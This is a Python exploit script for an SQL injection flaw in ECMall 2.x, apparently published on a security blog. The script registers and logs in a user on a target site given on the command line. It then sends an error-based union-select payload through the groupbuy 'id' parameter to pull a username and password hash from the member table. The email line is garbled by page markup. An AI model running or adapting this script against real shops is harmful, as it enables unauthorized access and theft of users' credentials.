ecmall 2.x SQL注入漏洞

                                                <pre>#coding=utf-8
#author:Seay
#blog:www.cnseay.com
 
import HTMLParser  
import urlparse  
import urllib
import urllib2  
import cookielib  
import string  
import re
import sys
 
target = 'www.cnseay.com'
user_name = 'makelove'
password = 'onebyone'
email = <a href="mailto:'[email protected]'def">'[email protected]' def</a> my_urlencode(str) :
    reprStr = repr(str).replace(r'\x', '%')
    return reprStr[1:-1]
 
def reguser():
 
    print('user register...')
    hosturl = 'http://' + target + '/index.php'
 
    posturl = 'http://' + target + '/index.php?app=member&act=register&ret_url='
 
    cj = cookielib.LWPCookieJar()  
    cookie_support = urllib2.HTTPCookieProcessor(cj)  
    opener = urllib2.build_opener(cookie_support, urllib2.HTTPHandler)  
    urllib2.install_opener(opener)  
 
    h = urllib2.urlopen(hosturl)  
 
    headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0',  
               'Content-Type' : 'application/x-www-form-urlencoded'}  
 
    postData = {'user_name' : user_name,  
                'password' : password,  
                'password_confirm' : password, 
                'email' : email, 
                'agree' : '1', 
                }  
 
    postData = urllib.urlencode(postData)  
 
    request = urllib2.Request(posturl, postData, headers)
    urllib2.urlopen(request)  
 
def login_exploit():
 
    print('user login...')
    hosturl = 'http://' + target + '/index.php'
 
    posturl = 'http://' + target + '/index.php?app=member&act=login&synlogout=1'
 
    headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0',  
               'Content-Type' : 'application/x-www-form-urlencoded'}  
 
    postData = {'user_name' : user_name,  
                'password' : password,  
                }  
 
    cj = cookielib.LWPCookieJar()  
    cookie_support = urllib2.HTTPCookieProcessor(cj)  
    opener = urllib2.build_opener(cookie_support, urllib2.HTTPHandler)  
    urllib2.install_opener(opener)  
 
    postData = urllib.urlencode(postData)  
 
    request = urllib2.Request(posturl, postData, headers)
 
    response = urllib2.urlopen(request)  
 
    print('exploit...\n')
    url='http://'+target+'/index.php?app=buyer_groupbuy&act=exit_group&id='+urllib.quote('1 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecm_member limit 0,1))a from information_schema.tables group by a)b')
    cookies = response.headers["Set-cookie"].split(";")[0]
 
    request = urllib2.Request(url) 
    request.add_header('Cookie', cookies)
    request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0')
 
    response = urllib2.urlopen(request)
 
    text = response.read() 
    response.close()
 
    prog = re.search("Duplicate entry '1(.*)' for key",text)
    try:
        print('Success：'+prog.groups()[0])
    except:
        print('Sorry,failed')
 
if __name__ == '__main__':
    if len(sys.argv)<2:
        print('argument error')
        print('example: '+sys.argv[0]+' domain')
        exit(0)
    target=sys.argv[1]
    reguser()
    login_exploit()</pre>